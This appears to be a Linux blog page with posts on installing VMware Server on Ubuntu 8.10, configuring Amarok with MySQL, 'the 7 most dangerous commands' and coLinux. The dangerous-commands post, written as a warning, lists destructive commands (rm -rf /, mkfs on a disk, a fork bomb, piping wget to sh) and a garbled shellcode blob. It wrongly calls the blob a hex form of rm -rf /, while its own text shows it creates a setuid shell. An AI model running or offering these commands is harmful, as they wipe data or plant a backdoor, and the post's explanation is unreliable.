Linux Blog

Installation and Configuration of VMWare on Ubuntu Interpid (8.10)

1 - First, obtain a license from VMware here

2 - Install the following packages
apt-get install linux-source-2.6.27 linux-libc-dev xinetd

3 - Then, download VMware
wget http://download3.vmware.com/software/vmserver/VMware-server-1.0.8-126538.tar.gz
Untar: tar -xvzf VMware-server-1.0.8-126538.tar.gz
cd vmware-server-distrib/

4 - Run the installer
./vmware-install.pl
-> Answer yes to each question until it (run the configure script), to which reply "No"

5 - Now, it is necessary to download the patch in order to build the kernel module (Tested with 2.6.27-7-generic)
wget http://www.insecure.ws/warehouse/vmware-update-2.6.27-5.5.7-2.tar.gz
tar -xvzf vmware-update-2.6.27-5.5.7-2.tar.gz
cd vmware-update-2.6.27-5.5.7-2
./runme.pl

-> Answer yes to all questions and press ENTER to use the default settings.

6 - Check whether the service is running

/etc/init.d/vmware status

Bridged networking on /dev/vmnet0 is running
Host-only networking on /dev/vmnet1 is running
Host-only networking on /dev/vmnet8 is running
NAT networking on /dev/vmnet8 is running
Module vmmon loaded
Module vmnet loaded

Gnome 3 mockup screenshots

Configure Amarok to use MySQL DB

Amarok 1.2 and above support a MySQL database backend in addition to the built-in SQLite database engine.

Amarok 1.4 requires MySQL 4.0 or better, and is known to work with MySQL versions up to 5.0.22 (but, at the time of writing, not 5.0.24). Since Amarok-1.4.2 MySQL-5.0.24 also works. Amarok 1.4.5 work with MySQL 5.0.27.

Older versions of Amarok may work best with MySQL versions < 5.0. One known problem as a result of this is Amarok's DB continually growing and adding multiple entries for every track on each rescan.

If your locale is UTF-8, make sure the default character set for your mqsl daemon is set up to utf8, so that all databases and tables are created with character set utf8. In Debian:

1) Edit /etc/mysql/my.cnf, adding this line to stanzas [client] and [mysqld]:

default-character-set = utf8

2) Restart the mqsql daemon to pick up the new default charset

Do this before you create the database for amarok.

Make sure the MySQL daemon is running. If necessary, add it to your linux startup scripts, via whatever method your distro uses.

Create a root password for MySQL, if you have not already done so.

$ mysql -u root
set password for root@localhost = password('xxxxxxx');
flush privileges;
quit;

Of course change xxxxxx to the password you want.

Once you have done that, you must create a MySQL database and a user for amarok for through any usual method. You can just use the "mysql" command: (it will ask for your MySQL root password)

$ mysql -p -u root
CREATE DATABASE amarok;
USE amarok;
GRANT ALL ON amarok.* TO amarok@localhost IDENTIFIED BY 'PASSWORD_CHANGE_ME';

In the above example, a database called "amarok" and a user called "amarok" were created. This user can access the database from localhost using the password "PASSWORD_CHANGE_ME". To allow access from remote hosts, use amarokuser@'%'.

It is very important that you 'GRANT ALL' privileges to user "amarok". In particular, "amarok" needs ALTER privileges on its database.

Once a database exists, open the Configure Amarok screen (found in the Settings menu), and go to the Collection tab. Change the drop-down menu from SQLite to MySQL. You will have to specify the host ("localhost" if the database is in your local box), port (3306 is the common value), and the name of the database that you have created for it ("amarok" in our example). Additionally, the username and password of a user who has write access to the given database needs to be specified (in our example, the user is "amarok", and the password is "PASSWORD_CHANGE_ME").

So if you get errors about not being able to connect to the server or database, (_not_ password related errors) then you will have to edit my.cnf on the host machine (/etc/mysql/my.cnf, most likely), comment out the "bind_address" variable and restart MySQL. You may have to comment out "skip_networking", so that MySQL will listen on a tcp socket.

The 7 most dangerous commands of GNU/Linux

1. rm-rf /
This powerful command deletes all files in our root directory "/" if they want to see the power of this command to see this video

2. Code:

char esp [] __attribute__ ((section (. "text"))) / * esp
release * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ X83 \ xec \ x64 \ x68?
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99?
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7?
"\ X56 \ X04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ x74 \ X56?
"\ X8d \ x73 \ x08 \ X56 \ x53 \ x54 \ X59 \ xb0 \ x0b \ xcd \ x80 \ x31?
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69?
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00?
"Cp-p / bin / sh / tmp / .beyond; chmod 4755
/ tmp / .beyond; "

This is the hex version of [rm-rf /] that can deceive even those not experienced users of GNU/Linux.

3. mkfs.ext3 / dev / sda

This will reformat all the files on the device that is mentioned after the mkfs command.

4. :(){:|:&};:

Known as forkbomb, this command to run a large number of processes until the system freezes. This can lead to data corruption.

5. any_command> / dev / sda

This command causes total loss of data, in the partition that is mentioned in command

6. http://some_untrusted_source wget-O-| sh

Never download untrusted sources and below are implemented, they may be malicious codes

7. mv / home / yourhomedirectory / * / dev / null

This command will move all the files in your home to a place that does not exist, never really your files again

If you got any other dangerous command, please let me know, I will include it over here.

[Ref: http://www.linuxpromagazine.com/online/news/seven_deadliest_linux_commands?category=13447]

Running Linux on Windows XP

"If Linux runs on every architecture, why should another operating system be in its way? "

Cooperative Linux is the first working free and open source method for optimally running Linux on Microsoft Windows natively. More generally, Cooperative Linux (short-named coLinux) is a port of the Linux kernel that allows it to run cooperatively alongside another operating system on a single machine.

For instance, it allows one to freely run Linux on Windows 2000/XP, without using a commercial PC virtualization software such as VMware, in a way which is much more optimal than using any general purpose PC virtualization software.

Unlike in other Linux virtualization solutions such as User Mode Linux (or the forementioned VMware), special driver software on the host operating system is used to execute the coLinux kernel in a privileged mode (known as ring 0 or supervisor mode).

coLinux is a port of the standard Linux kernel. In other words, coLinux is the Linux kernel that's modified to run cooperatively with another operating system. The host operating system (Windows or Linux) maintains control of the physical resources of the operating system, while the guest operating system (coLinux) is provided with a virtual abstraction of the hardware. The host operating system must provide the means to execute a driver in the privileged ring (ring 0) and export the means to allocate memory

The root file system for coLinux is a regular file within the host operating system. To Windows it's just a regular file, but to coLinux it's an ext3 file system that can be read and written to..

To cooperatively share hardware with the host operating system, coLinux does not access I/O devices directly. Instead, it interfaces with emulated devices provided by the coLinux drivers in the host OS. For example, a regular file in Windows can be used as a block device in coLinux. All real hardware interrupts are transparently forwarded to the host OS, so this way the host OS's control of the real hardware is not being disturbed and thus it continues to run smoothly.

Unlike User Mode Linux, coLinux always utilizes only one process of the host OS for all its Linux processes, privately managing their scheduling, resources, and faults in a manner which is contained and entirely independent of the way the host OS is implemented. In fact, coLinux only requires a very small set of commonly exported primitives from the host OS kernel in order to work, thus, it can be rather easily ported to run under any operating system, such as Solaris, or even Linux itself.

Download: here